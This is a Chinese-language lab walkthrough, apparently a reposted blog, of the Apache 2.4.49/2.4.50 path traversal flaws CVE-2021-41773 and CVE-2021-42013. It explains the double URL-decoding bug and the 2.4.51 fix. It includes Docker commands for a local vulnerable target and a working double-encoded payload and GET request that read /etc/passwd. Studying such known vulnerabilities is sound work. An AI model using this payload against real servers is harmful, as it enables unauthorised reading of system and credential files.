**Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。**
1.搭建靶场
docker pull vulfocus/apache-cve_2021_42013:lastest
docker run -d -p 8090:80 vulfocus/apache-cve_2021_42013:lastest
ps.换个空闲的端口。
2.打开靶场,抓包
127.0.0.1:8090
抓包
3. 绕过检测进行路径穿越
因为该漏洞是在CVE-2021-41773修复的基础上,还会造成路径穿越。
让我们了解一下CVE-2021-41773是什么吧。
CVE-2021-41773:
Apache HTTP Server 2.4.49版本使用的
ap_normalize_path
函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在
../
的路径穿越符。
也就是说这个函数会检测路径中是否存在%,存在再检测其紧跟的两个字符16进制字符,是的话。会对其进行url解码,如:%2e ->. ,转换完之后再检测是不是存在../
但是奇怪的是%2e./能检测出来,但是.%2e/不行。原来它是检测.后是不是跟着./
所以用.%2e/或者%2e%2e就能绕过这个函数触发路径穿越。
CVE-2021-42013:
这时修复了对.%2e的检测。
在处理外部HTTP请求时,会调用
ap_process_request_internal
函数对url路径进行处理,在该函数中,首先会调用
ap_normalize_path
函数进行一次url解码,之后会调用
ap_unescape_url
函数进行二次解码。
这时候我们只需要将../url编码两次就行了。
ap_normalize_path
函数调用栈如下,在处理前path参数为
/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
经过
ap_normalize_path
函数处理后path参数变成
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
经过
unescape_url
函数处理后,可以看到此时的url字符串内容变成
/icons/../../../../etc/passwd
补充一下:
对于没有进⾏安全配置的Apache服务器,默认情况可以⽤xxx.com/icons/的⽅式打开Apache⽬录下的icons⽂件夹,并且会罗列出⽂件列表。
2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在
ap_normalize_path
函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过。
我们来看看吧。
GET /icons/../../../../../../etc/passwd HTTP/1.1
编码两次之后
/icons/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
版权归原作者 留将一面与花 所有, 如有侵权,请联系我们删除。